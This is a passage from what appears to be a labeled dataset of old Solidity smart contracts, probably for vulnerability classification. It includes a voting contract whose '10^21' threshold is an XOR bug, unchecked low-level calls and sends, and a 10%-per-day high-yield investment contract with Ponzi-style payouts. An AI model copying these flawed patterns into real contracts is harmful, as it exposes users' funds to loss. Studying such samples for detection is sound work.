aboveMinimumInvestment(); } function hasEnded() public view returns (bool) { bool capReached = weiRaised.add(minimumInvestment) > cap; return super.hasEnded() || capReached; } function hasStarted() public constant returns (bool) { return now >= startTime; } function aboveMinimumInvestment() internal view returns (bool) { return msg.value >= minimumInvestment; } function forwardFundsToWallet(uint256 amount) internal { if (goalReached() && vault.balance > 0) { vault.forwardFunds(); } if (goalReached()) { wallet.call.value(amount)(); } else { vault.deposit.value(amount)(msg.sender); } } }
0
1,808
pragma solidity ^0.4.24; interface ERC725 { function keyHasPurpose(bytes32 _key, uint256 _purpose) public view returns (bool result); } interface ERC20Basic { function balanceOf(address who) public constant returns (uint256); } interface ProfileStorage { function getStake(address identity) public view returns(uint256); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, "Only contract owner can call this function"); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Voting is Ownable { mapping(address => bool) public walletApproved; mapping(address => bool) public walletVoted; ERC20Basic public tokenContract; ProfileStorage public profileStorageContract; uint256 public votingClosingTime; struct Candidate{ string name; uint256 votes; } Candidate[34] public candidates; constructor (address tokenContractAddress, address profileStorageContractAddress) public { tokenContract = ERC20Basic(tokenContractAddress); profileStorageContract = ProfileStorage(profileStorageContractAddress); votingClosingTime = 0; candidates[0].name = "Air Sourcing"; candidates[1].name = "Ametlab"; candidates[2].name = "B2B Section of Slovenian Blockchain Association (SBCA)"; candidates[3].name = "Beleaf & Co"; candidates[4].name = "BioGenom 2.0"; candidates[5].name = "CAM Engineering"; candidates[6].name = "Dispensa Dei Tipici"; candidates[7].name = "Fuzzy Factory"; candidates[8].name = "GSC Platform"; candidates[9].name = "HydraWarehouse"; candidates[10].name = "Ibis Eteh"; candidates[11].name = "Infotrans"; candidates[12].name = "Intelisale"; candidates[13].name = "Istmos"; candidates[14].name = "Ivy Food Tech"; candidates[15].name = "Journey Foods"; candidates[16].name = "Kakaxi"; candidates[17].name = "L.Co"; candidates[18].name = "LynqWallet"; candidates[19].name = "MedicoHealth AG"; candidates[20].name = "Moku Menehune"; candidates[21].name = "NetSDL"; candidates[22].name = "Orchit"; candidates[23].name = "Phy2Trace"; candidates[24].name = "Procurean"; candidates[25].name = "PsyChain"; candidates[26].name = "RealMeal"; candidates[27].name = "Reterms"; candidates[28].name = "Sensefinity"; candidates[29].name = "Solomon Ears"; candidates[30].name = "Space Invoices"; candidates[31].name = "Step Online"; candidates[32].name = "TMA"; candidates[33].name = "Zemlja&Morje"; } function startVoting() public onlyOwner { require(votingClosingTime == 0, "Voting already started once!"); votingClosingTime = block.timestamp + 7 days; } event WalletApproved(address wallet, address ERC725Address); event WalletRejected(address wallet, address ERC725Address, string reason); event WalletVoted(address wallet, string firstChoice, string secondChoice, string thirdChoice); function approveMultipleWallets(address[] wallets, address[] ERC725Addresses) public onlyOwner { require(votingClosingTime == 0, "Voting already started!"); require(wallets.length <= 50, "Cannot approve more than 50 wallets at a time!"); require(wallets.length == ERC725Addresses.length, "Arrays are not the same length!"); uint256 i = 0; for(i = 0; i < wallets.length && i < 50; i = i + 1) { walletApproved[wallets[i]] = false; if (wallets[i] == address(0) && ERC725Addresses[i] == address(0)) { emit WalletRejected(wallets[i], ERC725Addresses[i], "Cannot verify an empty application!"); } else { if(ERC725Addresses[i] != address(0)) { if(profileStorageContract.getStake(ERC725Addresses[i]) >= 10^21) { walletApproved[ERC725Addresses[i]] = true; emit WalletApproved(address(0), ERC725Addresses[i]); } else { emit WalletRejected(wallets[i], ERC725Addresses[i], "Profile does not have at least 1000 trac at the time of approval!"); } } else { if(tokenContract.balanceOf(wallets[i]) >= 10^21) { walletApproved[wallets[i]] = true; emit WalletApproved(wallets[i], address(0)); } else { emit WalletRejected(wallets[i], address(0), "Wallet does not have at least 1000 trac at the time of approval!"); } } } } } function disapproveMultipleWallets(address[] wallets) public onlyOwner { require(wallets.length <= 50, "Cannot approve more than 50 wallets at a time!"); uint256 i = 0; for(i = 0; i < wallets.length && i < 50; i = i + 1) { walletApproved[wallets[i]] = false; emit WalletRejected(wallets[i], address(0), "Wallet approval removed!"); } } function isWalletApproved(address wallet) public view returns (bool) { return walletApproved[wallet]; } function vote(uint256[] candidateIndexes) public { require(votingClosingTime != 0, "Voting has not yet started!"); require(votingClosingTime >= block.timestamp, "Voting period has expired!"); require(walletApproved[msg.sender] == true, "Sender is not approved and thus cannot vote!"); require(walletVoted[msg.sender] == false, "Sender already voted!"); require(candidateIndexes.length == 3, "Must vote for 3 candidates!"); require(candidateIndexes[0] != candidateIndexes[1], "Cannot cast multiple votes for the same person!"); require(candidateIndexes[1] != candidateIndexes[2], "Cannot cast multiple votes for the same person!"); require(candidateIndexes[2] != candidateIndexes[0], "Cannot cast multiple votes for the same person!"); require(candidateIndexes[0] >= 0 && candidateIndexes[0] < candidates.length, "The selected candidate does not exist!"); require(candidateIndexes[1] >= 0 && candidateIndexes[1] < candidates.length, "The selected candidate does not exist!"); require(candidateIndexes[2] >= 0 && candidateIndexes[2] < candidates.length, "The selected candidate does not exist!"); walletVoted[msg.sender] = true; emit WalletVoted(msg.sender, candidates[candidateIndexes[0]].name, candidates[candidateIndexes[1]].name, candidates[candidateIndexes[2]].name); assert(candidates[candidateIndexes[0]].votes + 3 > candidates[candidateIndexes[0]].votes); candidates[candidateIndexes[0]].votes = candidates[candidateIndexes[0]].votes + 3; assert(candidates[candidateIndexes[1]].votes + 2 > candidates[candidateIndexes[1]].votes); candidates[candidateIndexes[1]].votes = candidates[candidateIndexes[1]].votes + 2; assert(candidates[candidateIndexes[2]].votes + 1 > candidates[candidateIndexes[2]].votes); candidates[candidateIndexes[2]].votes = candidates[candidateIndexes[2]].votes + 1; require(tokenContract.balanceOf(msg.sender) >= 10^21, "Sender does not have at least 1000 TRAC and thus cannot vote!"); } function voteWithProfile(uint256[] candidateIndexes, address ERC725Address) public { require(votingClosingTime != 0, "Voting has not yet started!"); require(votingClosingTime >= block.timestamp, "Voting period has expired!"); require(walletApproved[msg.sender] == true || walletApproved[ERC725Address] == true, "Sender is not approved and thus cannot vote!"); require(walletVoted[msg.sender] == false, "Sender already voted!"); require(walletVoted[ERC725Address] == false, "Profile was already used for voting!"); require(candidateIndexes.length == 3, "Must vote for 3 candidates!"); require(candidateIndexes[0] != candidateIndexes[1], "Cannot cast multiple votes for the same person!"); require(candidateIndexes[1] != candidateIndexes[2], "Cannot cast multiple votes for the same person!"); require(candidateIndexes[2] != candidateIndexes[0], "Cannot cast multiple votes for the same person!"); require(candidateIndexes[0] >= 0 && candidateIndexes[0] < candidates.length, "The selected candidate does not exist!"); require(candidateIndexes[1] >= 0 && candidateIndexes[1] < candidates.length, "The selected candidate does not exist!"); require(candidateIndexes[2] >= 0 && candidateIndexes[2] < candidates.length, "The selected candidate does not exist!"); walletVoted[msg.sender] = true; walletVoted[ERC725Address] = true; emit WalletVoted(msg.sender, candidates[candidateIndexes[0]].name, candidates[candidateIndexes[1]].name, candidates[candidateIndexes[2]].name); assert(candidates[candidateIndexes[0]].votes + 3 > candidates[candidateIndexes[0]].votes); candidates[candidateIndexes[0]].votes = candidates[candidateIndexes[0]].votes + 3; assert(candidates[candidateIndexes[1]].votes + 2 > candidates[candidateIndexes[1]].votes); candidates[candidateIndexes[1]].votes = candidates[candidateIndexes[1]].votes + 2; assert(candidates[candidateIndexes[2]].votes + 1 > candidates[candidateIndexes[2]].votes); candidates[candidateIndexes[2]].votes = candidates[candidateIndexes[2]].votes + 1; require(ERC725(ERC725Address).keyHasPurpose(keccak256(abi.encodePacked(msg.sender)), 2), "Sender is not the management wallet for this ERC725 identity!"); require(tokenContract.balanceOf(msg.sender) >= 10^21 || profileStorageContract.getStake(ERC725Address) >= 10^21, "Neither the sender nor the submitted profile have at least 1000 TRAC and thus cannot vote!"); } }
1
3,066
pragma solidity ^0.4.18; contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } contract ERC20 is ERC20Basic { bool public isERC20 = true; function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { uint c = a / b; return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint _value) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract BunToken is StandardToken { string public constant NAME = "BunToken"; string public constant SYMBOL = "BUN"; uint public constant DECIMALS = 18; address public target; modifier onlyOwner { if (target == msg.sender) { _; } else { throw; } } function BunToken(address _target) { target = _target; totalSupply = 10 ** 28; balances[target] = totalSupply; } function () payable { target.send(msg.value); } function withdrawOtherERC20Balance(uint256 amount, address _address) external onlyOwner { require(_address != address(this)); BasicToken candidateContract = BasicToken(_address); uint256 realTotal = candidateContract.balanceOf(this); require( realTotal >= amount ); candidateContract.transfer(target, amount); } }
0
2,077
pragma solidity ^0.4.24; contract Hyip24_10p { using SafeMath for uint256; mapping(address => uint256) investments; mapping(address => uint256) joined; mapping(address => uint256) withdrawals; mapping(address => uint256) referrer; uint256 public step = 10; uint256 public minimum = 100 finney; uint256 public minbounty = 10 finney; address public ownerWallet; address public owner; event Invest(address investor, uint256 amount); event Withdraw(address investor, uint256 amount); event Bounty(address hunter, uint256 amount); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; ownerWallet = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; ownerWallet = newOwnerWallet; } function () public payable { buy(0x0); } function buy(address _referredBy) public payable { require(msg.value >= minimum); address _customerAddress = msg.sender; if( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress ){ referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(10).div(100)); } if (investments[msg.sender] > 0){ if (withdraw()){ withdrawals[msg.sender] = 0; } } investments[msg.sender] = investments[msg.sender].add(msg.value); joined[msg.sender] = block.timestamp; ownerWallet.transfer(msg.value.mul(5).div(100)); emit Invest(msg.sender, msg.value); } function getBalance(address _address) view public returns (uint256) { uint256 minutesCount = now.sub(joined[_address]).div(1 minutes); uint256 percent = investments[_address].mul(step).div(100); uint256 different = percent.mul(minutesCount).div(1440); uint256 balance = different.sub(withdrawals[_address]); return balance; } function withdraw() public returns (bool){ require(joined[msg.sender] > 0); uint256 balance = getBalance(msg.sender); if (address(this).balance > balance){ if (balance > 0){ withdrawals[msg.sender] = withdrawals[msg.sender].add(balance); msg.sender.transfer(balance); emit Withdraw(msg.sender, balance); } return true; } else { return false; } } function bounty() public { uint256 refBalance = checkReferral(msg.sender); if(refBalance >= minbounty) { if (address(this).balance > refBalance) { referrer[msg.sender] = 0; msg.sender.transfer(refBalance); emit Bounty(msg.sender, refBalance); } } } function checkBalance() public view returns (uint256) { return getBalance(msg.sender); } function checkWithdrawals(address _investor) public view returns (uint256) { return withdrawals[_investor]; } function checkInvestments(address _investor) public view returns (uint256) { return investments[_investor]; } function checkReferral(address _hunter) public view returns (uint256) { return referrer[_hunter]; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
1
2,960
pragma solidity ^0.4.13; contract SafeMath { function SafeMath() { } function safeAdd(uint256 _x, uint256 _y) internal returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } function safeSub(uint256 _x, uint256 _y) internal returns (uint256) { assert(_x >= _y); return _x - _y; } function safeMul(uint256 _x, uint256 _y) internal returns (uint256) { uint256 z = _x * _y; assert(_x == 0 || z / _x == _y); return z; } } contract IOwned { function owner() public constant returns (address owner) { owner; } function transferOwnership(address _newOwner) public; function acceptOwnership() public; } contract Owned is IOwned { address public owner; address public newOwner; event OwnerUpdate(address _prevOwner, address _newOwner); function Owned() { owner = msg.sender; } modifier ownerOnly { assert(msg.sender == owner); _; } function transferOwnership(address _newOwner) public ownerOnly { require(_newOwner != owner); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = 0x0; } } contract ITokenHolder is IOwned { function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public; } contract TokenHolder is ITokenHolder, Owned { function TokenHolder() { } modifier validAddress(address _address) { require(_address != 0x0); _; } modifier validAddressForSecond(address _address) { require(_address != 0x0); _; } modifier notThis(address _address) { require(_address != address(this)); _; } function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public ownerOnly validAddress(_token) validAddressForSecond(_to) notThis(_to) { assert(_token.transfer(_to, _amount)); } } contract IERC20Token { function name() public constant returns (string name) { name; } function symbol() public constant returns (string symbol) { symbol; } function decimals() public constant returns (uint8 decimals) { decimals; } function totalSupply() public constant returns (uint256 totalSupply) { totalSupply; } function balanceOf(address _owner) public constant returns (uint256 balance) { _owner; balance; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { _owner; _spender; remaining; } function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } contract ERC20Token is IERC20Token, SafeMath { string public standard = 'Token 0.1'; string public name = 'Z1Coin'; string public symbol = 'Z1C'; uint8 public decimals = 8; uint256 public totalSupply = 0; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function ERC20Token(string _name, string _symbol, uint8 _decimals) { require(bytes(_name).length > 0 && bytes(_symbol).length > 0); name = _name; symbol = _symbol; decimals = _decimals; } modifier validAddress(address _address) { require(_address != 0x0); _; } modifier validAddressForSecond(address _address) { require(_address != 0x0); _; } function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool success) { balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], _value); balanceOf[_to] = safeAdd(balanceOf[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddressForSecond(_to) returns (bool success) { allowance[_from][msg.sender] = safeSub(allowance[_from][msg.sender], _value); balanceOf[_from] = safeSub(balanceOf[_from], _value); balanceOf[_to] = safeAdd(balanceOf[_to], _value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool success) { require(_value == 0 || allowance[msg.sender][_spender] == 0); allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } } contract IZ1Coin is ITokenHolder, IERC20Token { function disableTransfers(bool _disable) public; function issue(address _to, uint256 _amount) public; function destroy(address _from, uint256 _amount) public; } contract Z1Coin is IZ1Coin, ERC20Token, Owned, TokenHolder { string public version = '0.2'; bool public transfersEnabled = true; uint public MiningRewardPerETHBlock = 5; uint public lastBlockRewarded; event Z1CoinGenesis(address _token); event Issuance(uint256 _amount); event Destruction(uint256 _amount); event MiningRewardChanged(uint256 _amount); event MiningRewardSent(address indexed _from, address indexed _to, uint256 _value); function Z1Coin(string _name, string _symbol, uint8 _decimals) ERC20Token(_name, _symbol, _decimals) { require(bytes(_symbol).length <= 6); Z1CoinGenesis(address(this)); } modifier transfersAllowed { assert(transfersEnabled); _; } function disableTransfers(bool _disable) public ownerOnly { transfersEnabled = !_disable; } function TransferMinersReward() { require(lastBlockRewarded < block.number); lastBlockRewarded = block.number; totalSupply = safeAdd(totalSupply, MiningRewardPerETHBlock); balanceOf[block.coinbase] = safeAdd(balanceOf[block.coinbase], MiningRewardPerETHBlock); MiningRewardSent(this, block.coinbase, MiningRewardPerETHBlock); } function ChangeMiningReward(uint256 _amount) public ownerOnly { MiningRewardPerETHBlock = _amount; MiningRewardChanged(_amount); } function issue(address _to, uint256 _amount) public ownerOnly validAddress(_to) notThis(_to) { totalSupply = safeAdd(totalSupply, _amount); balanceOf[_to] = safeAdd(balanceOf[_to], _amount); Issuance(_amount); Transfer(this, _to, _amount); } function destroy(address _from, uint256 _amount) public ownerOnly { balanceOf[_from] = safeSub(balanceOf[_from], _amount); totalSupply = safeSub(totalSupply, _amount); Transfer(_from, this, _amount); Destruction(_amount); } function transfer(address _to, uint256 _value) public transfersAllowed returns (bool success) { assert(super.transfer(_to, _value)); if (_to == address(this)) { balanceOf[_to] -= _value; totalSupply -= _value; Destruction(_value); } return true; } function transferFrom(address _from, address _to, uint256 _value) public transfersAllowed returns (bool success) { assert(super.transferFrom(_from, _to, _value)); if (_to == address(this)) { balanceOf[_to] -= _value; totalSupply -= _value; Destruction(_value); } return true; } } contract UpgradeAgent { uint public originalSupply; function isUpgradeAgent() public constant returns (bool) { return true; } function upgradeFrom(address _from, uint256 _value) public; } contract UpgradeableToken is Z1Coin { address public upgradeMaster; UpgradeAgent public upgradeAgent; uint256 public totalUpgraded; enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} event Upgrade(address indexed _from, address indexed _to, uint256 _value); event UpgradeAgentSet(address agent); function UpgradeableToken(address _upgradeMaster) { upgradeMaster = _upgradeMaster; } function upgrade(uint256 value) public { UpgradeState state = getUpgradeState(); require(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading); require(value != 0); balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], value); totalSupply = safeSub(totalSupply, value); totalUpgraded = safeAdd(totalUpgraded, value); upgradeAgent.upgradeFrom(msg.sender, value); Upgrade(msg.sender, upgradeAgent, value); } function setUpgradeAgent(address agent) external { require(canUpgrade()); require(agent != 0x0); require(msg.sender == upgradeMaster); require(getUpgradeState() != UpgradeState.Upgrading); upgradeAgent = UpgradeAgent(agent); require(upgradeAgent.isUpgradeAgent()); require(upgradeAgent.originalSupply() == totalSupply); UpgradeAgentSet(upgradeAgent); } function getUpgradeState() public constant returns(UpgradeState) { if(!canUpgrade()) return UpgradeState.NotAllowed; else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } function setUpgradeMaster(address master) public { require(master != 0x0); require(msg.sender == upgradeMaster); upgradeMaster = master; } function canUpgrade() public constant returns(bool) { return true; } }
1
3,026
pragma solidity ^0.4.21; contract ReceivingContract { function onTokenReceived(address _from, uint _value, bytes _data) public; } contract Gate { ERC20Basic private TOKEN; address private PROXY; function Gate(ERC20Basic _token, address _proxy) public { TOKEN = _token; PROXY = _proxy; } function transferToProxy(uint256 _value) public { require(msg.sender == PROXY); require(TOKEN.transfer(PROXY, _value)); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { require(allowed[msg.sender][_spender] == 0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract TokenProxy is StandardToken, BurnableToken { ERC20Basic public TOKEN; mapping(address => address) private gates; event GateOpened(address indexed gate, address indexed user); event Mint(address indexed to, uint256 amount); function TokenProxy(ERC20Basic _token) public { TOKEN = _token; } function getGateAddress(address _user) external view returns (address) { return gates[_user]; } function openGate() external { address user = msg.sender; require(gates[user] == 0); address gate = new Gate(TOKEN, this); gates[user] = gate; emit GateOpened(gate, user); } function transferFromGate() external { address user = msg.sender; address gate = gates[user]; require(gate != 0); uint256 value = TOKEN.balanceOf(gate); Gate(gate).transferToProxy(value); totalSupply_ += value; balances[user] += value; emit Mint(user, value); } function withdraw(uint256 _value) external { withdrawTo(_value, msg.sender); } function withdrawTo(uint256 _value, address _destination) public { require(_value > 0 && _destination != address(0)); burn(_value); TOKEN.transfer(_destination, _value); } } contract GolemNetworkTokenBatching is TokenProxy { string public constant name = "Golem Network Token Batching"; string public constant symbol = "GNTB"; uint8 public constant decimals = 18; event BatchTransfer(address indexed from, address indexed to, uint256 value, uint64 closureTime); function GolemNetworkTokenBatching(ERC20Basic _gntToken) TokenProxy(_gntToken) public { } function batchTransfer(bytes32[] payments, uint64 closureTime) external { require(block.timestamp >= closureTime); uint balance = balances[msg.sender]; for (uint i = 0; i < payments.length; ++i) { bytes32 payment = payments[i]; address addr = address(payment); require(addr != address(0) && addr != msg.sender); uint v = uint(payment) / 2**160; require(v <= balance); balances[addr] += v; balance -= v; emit BatchTransfer(msg.sender, addr, v, closureTime); } balances[msg.sender] = balance; } function transferAndCall(address to, uint256 value, bytes data) external { transfer(to, value); ReceivingContract(to).onTokenReceived(msg.sender, value, data); } }
1
3,002
pragma solidity ^0.4.25; contract Modifiable { modifier notNullAddress(address _address) { require(_address != address(0)); _; } modifier notThisAddress(address _address) { require(_address != address(this)); _; } modifier notNullOrThisAddress(address _address) { require(_address != address(0)); require(_address != address(this)); _; } modifier notSameAddresses(address _address1, address _address2) { if (_address1 != _address2) _; } } contract SelfDestructible { bool public selfDestructionDisabled; event SelfDestructionDisabledEvent(address wallet); event TriggerSelfDestructionEvent(address wallet); function destructor() public view returns (address); function disableSelfDestruction() public { require(destructor() == msg.sender); selfDestructionDisabled = true; emit SelfDestructionDisabledEvent(msg.sender); } function triggerSelfDestruction() public { require(destructor() == msg.sender); require(!selfDestructionDisabled); emit TriggerSelfDestructionEvent(msg.sender); selfdestruct(msg.sender); } } contract Ownable is Modifiable, SelfDestructible { address public deployer; address public operator; event SetDeployerEvent(address oldDeployer, address newDeployer); event SetOperatorEvent(address oldOperator, address newOperator); constructor(address _deployer) internal notNullOrThisAddress(_deployer) { deployer = _deployer; operator = _deployer; } function destructor() public view returns (address) { return deployer; } function setDeployer(address newDeployer) public onlyDeployer notNullOrThisAddress(newDeployer) { if (newDeployer != deployer) { address oldDeployer = deployer; deployer = newDeployer; emit SetDeployerEvent(oldDeployer, newDeployer); } } function setOperator(address newOperator) public onlyOperator notNullOrThisAddress(newOperator) { if (newOperator != operator) { address oldOperator = operator; operator = newOperator; emit SetOperatorEvent(oldOperator, newOperator); } } function isDeployer() internal view returns (bool) { return msg.sender == deployer; } function isOperator() internal view returns (bool) { return msg.sender == operator; } function isDeployerOrOperator() internal view returns (bool) { return isDeployer() || isOperator(); } modifier onlyDeployer() { require(isDeployer()); _; } modifier notDeployer() { require(!isDeployer()); _; } modifier onlyOperator() { require(isOperator()); _; } modifier notOperator() { require(!isOperator()); _; } modifier onlyDeployerOrOperator() { require(isDeployerOrOperator()); _; } modifier notDeployerOrOperator() { require(!isDeployerOrOperator()); _; } } contract Servable is Ownable { struct ServiceInfo { bool registered; uint256 activationTimestamp; mapping(bytes32 => bool) actionsEnabledMap; bytes32[] actionsList; } mapping(address => ServiceInfo) internal registeredServicesMap; uint256 public serviceActivationTimeout; event ServiceActivationTimeoutEvent(uint256 timeoutInSeconds); event RegisterServiceEvent(address service); event RegisterServiceDeferredEvent(address service, uint256 timeout); event DeregisterServiceEvent(address service); event EnableServiceActionEvent(address service, string action); event DisableServiceActionEvent(address service, string action); function setServiceActivationTimeout(uint256 timeoutInSeconds) public onlyDeployer { serviceActivationTimeout = timeoutInSeconds; emit ServiceActivationTimeoutEvent(timeoutInSeconds); } function registerService(address service) public onlyDeployer notNullOrThisAddress(service) { _registerService(service, 0); emit RegisterServiceEvent(service); } function registerServiceDeferred(address service) public onlyDeployer notNullOrThisAddress(service) { _registerService(service, serviceActivationTimeout); emit RegisterServiceDeferredEvent(service, serviceActivationTimeout); } function deregisterService(address service) public onlyDeployer notNullOrThisAddress(service) { require(registeredServicesMap[service].registered); registeredServicesMap[service].registered = false; emit DeregisterServiceEvent(service); } function enableServiceAction(address service, string action) public onlyDeployer notNullOrThisAddress(service) { require(registeredServicesMap[service].registered); bytes32 actionHash = hashString(action); require(!registeredServicesMap[service].actionsEnabledMap[actionHash]); registeredServicesMap[service].actionsEnabledMap[actionHash] = true; registeredServicesMap[service].actionsList.push(actionHash); emit EnableServiceActionEvent(service, action); } function disableServiceAction(address service, string action) public onlyDeployer notNullOrThisAddress(service) { bytes32 actionHash = hashString(action); require(registeredServicesMap[service].actionsEnabledMap[actionHash]); registeredServicesMap[service].actionsEnabledMap[actionHash] = false; emit DisableServiceActionEvent(service, action); } function isRegisteredService(address service) public view returns (bool) { return registeredServicesMap[service].registered; } function isRegisteredActiveService(address service) public view returns (bool) { return isRegisteredService(service) && block.timestamp >= registeredServicesMap[service].activationTimestamp; } function isEnabledServiceAction(address service, string action) public view returns (bool) { bytes32 actionHash = hashString(action); return isRegisteredActiveService(service) && registeredServicesMap[service].actionsEnabledMap[actionHash]; } function hashString(string _string) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_string)); } function _registerService(address service, uint256 timeout) private { if (!registeredServicesMap[service].registered) { registeredServicesMap[service].registered = true; registeredServicesMap[service].activationTimestamp = block.timestamp + timeout; } } modifier onlyActiveService() { require(isRegisteredActiveService(msg.sender)); _; } modifier onlyEnabledServiceAction(string action) { require(isEnabledServiceAction(msg.sender, action)); _; } } library SafeMathIntLib { int256 constant INT256_MIN = int256((uint256(1) << 255)); int256 constant INT256_MAX = int256(~((uint256(1) << 255))); function div(int256 a, int256 b) internal pure returns (int256) { require(a != INT256_MIN || b != - 1); return a / b; } function mul(int256 a, int256 b) internal pure returns (int256) { require(a != - 1 || b != INT256_MIN); require(b != - 1 || a != INT256_MIN); int256 c = a * b; require((b == 0) || (c / b == a)); return 